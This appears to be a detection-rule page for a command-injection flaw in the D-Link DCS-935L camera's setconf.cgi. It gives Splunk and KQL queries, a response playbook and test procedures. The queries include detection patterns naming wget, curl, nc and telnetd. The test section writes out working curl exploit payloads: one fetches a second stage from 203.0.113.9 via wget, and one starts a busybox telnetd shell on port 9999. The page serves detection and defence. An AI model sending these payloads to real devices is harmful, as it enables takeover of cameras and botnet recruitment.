Detect D-Link DCS-935L setconf.cgi loginRouter OS Command Injection (CVE-2026-133680) in Splunk
Detects exploitation of CVE-2026-133680, an OS command injection vulnerability (CWE-77, CWE-78, CVSS 8.6) in the loginRouter function of web/cgi-bin/localrecording/setconf.cgi on the D-Link DCS-935L camera firmware 1.10.01. An attacker supplies crafted input containing shell metacharacters through the account/password argument of the setconf.cgi endpoint, which is passed to a system shell, allowing remote command execution on the device. A public exploit is available. This detection surfaces HTTP requests to the vulnerable CGI containing command-injection patterns and, where device telemetry is available, anomalous child-process spawns from the web/cgi handler.
MITRE ATT&CK
- Tactic
- Initial Access Execution
SPL Detection Query
``` df00tech DF00-1b44baf6e7 · https://df00tech.com/detections/CVE-2026-133680 · licence: https://df00tech.com/detections/licence ```
index=proxy OR index=web (uri_path="*localrecording/setconf.cgi*" OR uri="*setconf.cgi*")
| eval payload=uri." ".urldecode(uri)." ".form_data
| regex payload="(?i)(;|&&|\|\||`|\$\(|%3B|%26%26|%7C|%60|wget\s|curl\s|/bin/sh|busybox|telnetd|nc\s)"
| stats count min(_time) as firstSeen max(_time) as lastSeen values(uri) as uris values(http_method) as methods by src_ip dest_ip
| convert ctime(firstSeen) ctime(lastSeen)
| sort - count Searches proxy/web access logs for requests to the DCS-935L setconf.cgi endpoint carrying command-injection characters or shell/download tooling in the URI or POST body.
Data Sources
Required Sourcetypes
False Positives & Tuning
- Authorized penetration tests and automated scanners firing injection probes at the device.
- Legitimate recording-config changes where parameter values legitimately include special characters.
- Log replay or IDS signature testing traversing the proxy.
Other platforms for CVE-2026-133680
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.
- Test 1 Command injection via setconf.cgi query string (lab camera/emulator)
Expected signal: Proxy/firewall/IDS web log of a request to localrecording/setconf.cgi containing a ';' and the string 'id'.
- Test 2 Download-and-execute injection via POST body
Expected signal: Web log entry for setconf.cgi with a backtick and 'wget' in the request body, followed by an outbound HTTP fetch from the device.
- Test 3 URL-encoded metacharacter injection
Expected signal: Web log of setconf.cgi request containing %3B and 'busybox'/'telnetd'.
Response Playbook
Triage
- Confirm the destination IP is a D-Link DCS-935L camera running firmware 1.10.01 (the version named in CVE-2026-133680); check device inventory/DHCP fingerprints and the HTTP Server banner.
- Extract and URL-decode the full setconf.cgi request (URI + POST body) and identify the exact injected command sequence following shell metacharacters (;, &&, |, `, $()).
- Determine whether the request succeeded (HTTP 200 vs error/redirect) and whether it reached loginRouter; correlate the source IP against known-good management hosts.
- Check for a burst or sequence of setconf.cgi requests from the same source, indicating iterative exploitation or payload staging.
Containment
- Block the attacker source IP at the perimeter firewall and restrict management access to the camera's web interface to a trusted VLAN/ACL.
- Isolate the affected DCS-935L from the internet and from lateral network segments until it can be inspected or re-flashed; disable UPnP/port-forwarding exposing the CGI.
- If compromise is confirmed, power-cycle and factory-reset the device, then re-provision on isolated firmware.
Evidence Collection
- Preserve proxy/firewall/IDS logs of all setconf.cgi requests from the source IP, including full URI and request bodies, with timestamps.
- If device access is available, capture the camera's web/cgi logs, running process list, crontab, and any files written to /tmp or /var for forensic review.
- Capture a full packet trace to/from the device to recover the injected command, any second-stage download URLs, and C2 connections.
Escalation Criteria
- !Escalate to incident response if the injected command includes download-and-execute tooling (wget/curl/tftp of a binary) or outbound connections from the device follow the request.
- !Escalate if multiple cameras or other IoT devices show the same setconf.cgi injection pattern, indicating a botnet-style campaign.
- !Escalate if the device subsequently initiates scanning, telnetd/backdoor listeners, or lateral movement into internal subnets.
Investigation Guide
Forensic Artifacts
- >
Web/CGI access logs on the camera showing setconf.cgi requests with injected parameters. - >
Unexpected files in /tmp, /var/tmp, or /mnt and new/modified crontab entries on the device. - >
Anomalous child processes (wget, curl, tftp, sh, telnetd, nc) parented by the web/cgi handler, and new listening sockets.
Tuning Guidance
Baseline the legitimate management hosts and NMS tools that configure DCS-935L recording settings and allowlist them by source IP to cut false positives. Scope the detection to subnets/VLANs where DCS-935L cameras actually live. If authorized vulnerability scanners regularly probe these devices, exclude their source IPs or correlate with scan-window schedules rather than disabling the rule. Tighten by requiring both the setconf.cgi path AND decoded metacharacters, and raise confidence when device-side telemetry confirms a matching child-process spawn.
Hunting Queries
Surfaces source IPs making repeated or varied requests to setconf.cgi against DCS-935L cameras, a signal of enumeration or iterative command-injection attempts even without obvious metacharacters.
// df00tech DF00-1b44baf6e7 · https://df00tech.com/detections/CVE-2026-133680 · licence: https://df00tech.com/detections/licence
CommonSecurityLog | where RequestURL has "setconf.cgi" | summarize Requests=count(), Payloads=make_set(RequestURL, 20) by SourceIP, DestinationIP | where Requests > 3 | order by Requests desc ``` df00tech DF00-1b44baf6e7 · https://df00tech.com/detections/CVE-2026-133680 · licence: https://df00tech.com/detections/licence ```
index=proxy OR index=web uri="*setconf.cgi*" | stats count values(uri) as uris dc(uri) as distinct_uris by src_ip dest_ip | where count > 3 | sort - count Atomic Red Team Tests
Sends a GET request to the DCS-935L setconf.cgi endpoint with a semicolon-delimited injected command in a parameter to exercise the loginRouter command-injection path.
Command
curl -sk "http://192.168.1.50/cgi-bin/localrecording/setconf.cgi?loginRouter=admin;id" -o /tmp/cve_2026_133680_resp.txt Cleanup
rm -f /tmp/cve_2026_133680_resp.txt Expected Telemetry
Proxy/firewall/IDS web log of a request to localrecording/setconf.cgi containing a ';' and the string 'id'.
Expected Detection
KQL/SPL/EQL network rules fire on the setconf.cgi path plus the ';' metacharacter.
POSTs a crafted body containing a shell command substitution that fetches a second-stage payload, simulating botnet-style exploitation.
Command
curl -sk -X POST "http://192.168.1.50/cgi-bin/localrecording/setconf.cgi" --data 'loginRouter=x`wget http://203.0.113.9/m -O /tmp/m`' -o /tmp/cve_2026_133680_post.txt Cleanup
rm -f /tmp/cve_2026_133680_post.txt Expected Telemetry
Web log entry for setconf.cgi with a backtick and 'wget' in the request body, followed by an outbound HTTP fetch from the device.
Expected Detection
Body-inspecting SPL/EQL/CQL rules match on 'wget' and backtick; device telemetry shows wget spawned by the cgi handler.
Sends URL-encoded shell metacharacters to evade naive path-only logging and verify decoded-pattern matching.
Command
curl -sk "http://192.168.1.50/cgi-bin/localrecording/setconf.cgi?loginRouter=a%3Bbusybox%20telnetd%20-l%2Fbin%2Fsh%20-p9999" -o /tmp/cve_2026_133680_enc.txt Cleanup
rm -f /tmp/cve_2026_133680_enc.txt Expected Telemetry
Web log of setconf.cgi request containing %3B and 'busybox'/'telnetd'.
Expected Detection
Detections matching encoded (%3B, %7C) and decoded patterns fire; busybox/telnetd keywords flagged.